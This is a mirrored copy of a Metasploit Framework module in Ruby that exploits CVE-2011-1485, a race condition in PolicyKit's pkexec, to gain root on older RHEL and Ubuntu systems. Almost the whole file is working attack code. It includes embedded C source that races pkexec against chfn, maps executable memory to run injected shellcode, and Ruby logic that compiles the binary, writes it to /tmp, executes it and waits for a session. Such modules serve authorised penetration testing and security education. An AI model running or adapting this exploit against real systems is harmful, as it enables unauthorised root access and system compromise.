Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/local/pkexec.rb
25358 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Project
8
#
9
10
class MetasploitModule < Msf::Exploit::Local
11
Rank = GreatRanking
12
13
include Msf::Exploit::EXE
14
include Msf::Post::File
15
16
include Msf::Exploit::Local::Linux
17
18
def initialize(info = {})
19
super(
20
update_info(
21
info,
22
'Name' => 'Linux PolicyKit Race Condition Privilege Escalation',
23
'Description' => %q{
24
A race condition flaw was found in the PolicyKit pkexec utility and polkitd
25
daemon. A local user could use this flaw to appear as a privileged user to
26
pkexec, allowing them to execute arbitrary commands as root by running
27
those commands with pkexec.
28
29
Those vulnerable include RHEL6 prior to polkit-0.96-2.el6_0.1 and Ubuntu
30
libpolkit-backend-1 prior to 0.96-2ubuntu1.1 (10.10) 0.96-2ubuntu0.1
31
(10.04 LTS) and 0.94-1ubuntu1.1 (9.10)
32
},
33
'License' => MSF_LICENSE,
34
'Author' => [
35
'xi4oyu', # exploit
36
'0a29406d9794e4f9b30b3c5d6702c708' # metasploit module
37
],
38
'Platform' => [ 'linux'],
39
'Arch' => [ ARCH_X86, ARCH_X64 ],
40
'SessionTypes' => [ 'shell', 'meterpreter' ],
41
'Targets' => [
42
[ 'Linux x86', { 'Arch' => ARCH_X86 } ],
43
[ 'Linux x64', { 'Arch' => ARCH_X64 } ]
44
],
45
'DefaultTarget' => 0,
46
'References' => [
47
[ 'CVE', '2011-1485' ],
48
[ 'EDB', '17942' ],
49
[ 'OSVDB', '72261' ]
50
],
51
'DisclosureDate' => '2011-04-01',
52
'Notes' => {
53
'Reliability' => UNKNOWN_RELIABILITY,
54
'Stability' => UNKNOWN_STABILITY,
55
'SideEffects' => UNKNOWN_SIDE_EFFECTS
56
}
57
)
58
)
59
register_options([
60
OptInt.new("Count", [true, "Number of attempts to win the race condition", 500 ]),
61
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
62
OptBool.new("DEBUG_EXPLOIT", [ true, "Make the exploit executable be verbose about what it's doing", false ])
63
])
64
register_advanced_options [
65
OptString.new("WritableDir", [ true, "A directory where we can write files (must not be mounted noexec)", "/tmp" ])
66
]
67
end
68
69
def executable_path
70
@executable_path ||= datastore["WritableDir"] + "/" + rand_text_alphanumeric(8)
71
@executable_path
72
end
73
74
def check
75
# version can be nil
76
version = cmd_exec('pkexec --version').split.last
77
78
# version can be a string, so we check it
79
if version.nil? || !Rex::Version.correct?(version)
80
vprint_error('pkexec not found or version incorrect')
81
return CheckCode::Unknown
82
end
83
84
if Rex::Version.new(version) <= Rex::Version.new('0.101')
85
vprint_good("pkexec #{version} found")
86
return CheckCode::Appears
87
end
88
89
CheckCode::Detected
90
end
91
92
def exploit
93
main = %q^
94
/*
95
* Exploit Title: pkexec Race condition (CVE-2011-1485) exploit
96
* Author: xi4oyu
97
* Tested on: rhel 6
98
* CVE : 2011-1485
99
* Linux pkexec exploit by xi4oyu , thx [email protected] * Have fun~
100
* U can reach us @ http://www.wooyun.org :)
101
* 0a2940: some changes
102
*/
103
/*
104
#include <stdio.h>
105
#include <limits.h>
106
#include <time.h>
107
#include <unistd.h>
108
#include <termios.h>
109
#include <sys/stat.h>
110
#include <errno.h>
111
#include <poll.h>
112
#include <sys/types.h>
113
#include <stdlib.h>
114
#include <string.h>
115
*/
116
117
#define dprintf
118
119
#define NULL ((void*)0)
120
121
#define MAP_PRIVATE 0x02
122
#define MAP_FIXED 0x10
123
#define MAP_ANONYMOUS 0x20
124
#define MAP_ANON MAP_ANONYMOUS
125
#define MAP_FAILED ((void *)-1)
126
127
#define PROT_READ 0x1
128
#define PROT_WRITE 0x2
129
#define PROT_EXEC 0x4
130
131
#define O_CREAT 64
132
#define O_RDWR 2
133
134
#define POLLRDNORM 0x0040
135
136
typedef int __pid_t;
137
typedef int __time_t;
138
typedef
139
struct {
140
long __val[2];
141
} __quad_t;
142
typedef __quad_t __dev_t;
143
typedef long __ino_t;
144
typedef unsigned long __mode_t;
145
typedef long __nlink_t;
146
typedef unsigned int __uid_t;
147
typedef unsigned int __gid_t;
148
typedef long long __off_t;
149
typedef long __blksize_t;
150
typedef long long __blkcnt_t;
151
struct _stat_buff {
152
__dev_t st_dev; /* Device. */
153
unsigned short int __pad1;
154
__ino_t st_ino; /* File serial number. */
155
__mode_t st_mode; /* File mode. */
156
__nlink_t st_nlink; /* Link count. */
157
__uid_t st_uid; /* User ID of the file's owner. */
158
__gid_t st_gid; /* Group ID of the file's group.*/
159
__dev_t st_rdev; /* Device number, if device. */
160
unsigned short int __pad2;
161
__off_t st_size; /* Size of file, in bytes. */
162
__blksize_t st_blksize; /* Optimal block size for I/O. */
163
__blkcnt_t st_blocks; /* Number 512-byte blocks allocated. */
164
__time_t st_atime; /* Time of last access. */
165
unsigned long int st_atimensec; /* Nscecs of last access. */
166
__time_t st_mtime; /* Time of last modification. */
167
unsigned long int st_mtimensec; /* Nsecs of last modification. */
168
__time_t st_ctime; /* Time of last status change. */
169
unsigned long int st_ctimensec; /* Nsecs of last status change. */
170
unsigned long int __unused4;
171
unsigned long int __unused5;
172
};
173
174
struct _pollfd {
175
int fd; /* file descriptor */
176
short events; /* requested events */
177
short revents; /* returned events */
178
};
179
typedef unsigned long size_t;
180
extern void *mmap(void *__addr, size_t __len, int __prot, int __flags, int __fd, __off_t __offset);
181
extern int mprotect(void *__addr, size_t __len, int __prot);
182
extern void exit(int __status);
183
extern int printf(const char *__format, ...);
184
extern __pid_t fork(void);
185
extern __time_t time(__time_t *t);
186
extern __pid_t getpid(void);
187
extern __uid_t geteuid(void);
188
extern void srand(unsigned int seed);
189
extern int snprintf(char *str, size_t size, const char *format, ...);
190
extern int pipe(int pipefd[2]);
191
extern int close(int fd);
192
extern void write(int fd, const void *buf, size_t count);
193
extern int dup2(int oldfd, int newfd);
194
extern void perror(const char *__s);
195
extern void read(int fd, void *buf, size_t count);
196
extern int execve(const char *filename, char *const argv[], char *const envp);
197
extern int usleep(int usec);
198
extern void *memset(void *s, int c, size_t n);
199
extern void *memcpy(void * dst, const void *src, size_t n);
200
extern int poll(struct _pollfd *fds, unsigned int nfds, int timeout);
201
extern char *strstr(const char *haystack, const char *needle);
202
extern int rand(void);
203
extern int unlink(const char *__name);
204
205
int main(int argc,char *argv[], char ** envp)
206
{
207
208
__time_t tim_seed1;
209
__pid_t pid_seed2;
210
int result;
211
struct _stat_buff stat_buff;
212
213
char * chfn_path = "/usr/bin/chfn";
214
char * cmd_path = "";
215
216
char * pkexec_argv[] = {
217
"/usr/bin/pkexec",
218
"/bin/sh",
219
"-c",
220
cmd_path,
221
NULL
222
};
223
int pipe1[2];
224
int pipe2[2];
225
int pipe3[2];
226
__pid_t pid,pid2 ;
227
char * chfn_argv[] = {
228
"/usr/bin/chfn",
229
NULL
230
};
231
232
char buff[8];
233
char read_buff[4096];
234
char real_path[512];
235
236
int count = 0;
237
int flag = 0;
238
unsigned int usleep1 = 0;
239
unsigned int usleep2 = 0;
240
241
tim_seed1 = time(NULL);
242
pid_seed2 = getpid();
243
srand(tim_seed1+pid_seed2);
244
245
if(!geteuid()){
246
247
unlink(cmd_path);
248
249
SHELLCODE
250
251
int shellcode_size = 0;
252
int i;
253
unsigned long (*func)();
254
func = mmap(NULL, 0x1000,
255
PROT_READ | PROT_WRITE | PROT_EXEC,
256
MAP_PRIVATE | MAP_ANONYMOUS,
257
0, 0
258
);
259
mprotect(func, 4096, PROT_READ|PROT_WRITE|PROT_EXEC);
260
dprintf("Copying %d bytes of shellcode\n", shellcode_size);
261
//for (i = 0; i < shellcode_size; i++) {
262
//(char)func[i] = (char)shellcode[i];
263
memcpy(func,shellcode,shellcode_size);
264
//}
265
dprintf("Forking before calling shellcode: 0x%p\n", func);
266
if (fork()) {
267
exit(0);
268
}
269
func();
270
}
271
272
if(pipe(pipe1)){
273
perror("pipe");
274
exit(-2);
275
}
276
277
for(count = COUNT; count && !flag; count--){
278
dprintf("count %d usleep1 %d usleep2 %d\n",count,usleep1,usleep2);
279
pid = fork();
280
if( !pid ){
281
// Parent
282
if( !pipe(pipe2)){
283
if(!pipe(pipe3)){
284
pid2 = fork();
285
if(!pid2){
286
// Parent 2
287
close(1);
288
close(2);
289
close(pipe1[0]);
290
dup2(pipe1[1],2);
291
dup2(pipe1[1],1);
292
close(pipe1[1]);
293
close(pipe2[0]);
294
close(pipe3[1]);
295
write(pipe2[1],"\xFF",1);
296
read(pipe3[0],&buff,1);
297
execve(pkexec_argv[0],pkexec_argv,envp);
298
perror("execve pkexec");
299
exit(-3);
300
}
301
close(0);
302
close(1);
303
close(2);
304
close(pipe2[1]);
305
close(pipe3[0]);
306
read(pipe2[0],&buff,1);
307
write(pipe3[1],"\xFF",1);
308
usleep(usleep1+usleep2);
309
execve(chfn_argv[0],chfn_argv,envp);
310
perror("execve setuid");
311
exit(1);
312
}
313
}
314
perror("pipe3");
315
exit(1);
316
}
317
318
//Note: This is child, no pipe3 we use poll to monitor pipe1[0]
319
memset(pipe3,0,8);
320
321
struct _pollfd * pollfd = (struct pollfd *)(&pipe3);
322
pollfd->fd = pipe1[0];
323
pollfd->events = POLLRDNORM;
324
325
if(poll(pollfd,1,1000) < 0){
326
perror("poll");
327
exit(1);
328
}
329
330
if(pollfd->revents & POLLRDNORM ){
331
memset(read_buff,0,4096);
332
read(pipe1[0],read_buff,4095);
333
if( strstr(read_buff,"does not match")){
334
usleep1 += 100;
335
usleep2 = rand() % 1000;
336
}else{
337
if(usleep1 > 0){
338
usleep1 -= 100;
339
}
340
}
341
}
342
}
343
result = 0;
344
unlink(cmd_path);
345
return result;
346
}
347
348
^
349
main.gsub!(/SHELLCODE/, Rex::Text.to_c(payload.encoded, 64, "shellcode"))
350
main.gsub!(/shellcode_size = 0/, "shellcode_size = #{payload.encoded.length}")
351
main.gsub!(/cmd_path = ""/, "cmd_path = \"#{executable_path}\"")
352
main.gsub!(/COUNT/, datastore["Count"].to_s)
353
main.gsub!(/#define dprintf/, "#define dprintf printf") if datastore['DEBUG_EXPLOIT']
354
355
cpu = nil
356
if target['Arch'] == ARCH_X86
357
cpu = Metasm::Ia32.new
358
elsif target['Arch'] == ARCH_X64
359
cpu = Metasm::X86_64.new
360
end
361
362
begin
363
elf = Metasm::ELF.compile_c(cpu, main).encode_string
364
rescue => e
365
print_error "Metasm Encoding failed: #{$ERROR_INFO}"
366
elog('Metasm Encoding failed', error: e)
367
return
368
end
369
370
print_status "Writing exploit executable to #{executable_path} (#{elf.length} bytes)"
371
rm_f executable_path
372
write_file(executable_path, elf)
373
output = cmd_exec("chmod +x #{executable_path}; #{executable_path}")
374
output.each_line { |line| vprint_status(line.chomp) }
375
376
stime = Time.now.to_f
377
print_status "Starting the payload handler..."
378
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
379
Rex.sleep(1)
380
end
381
end
382
end
383
384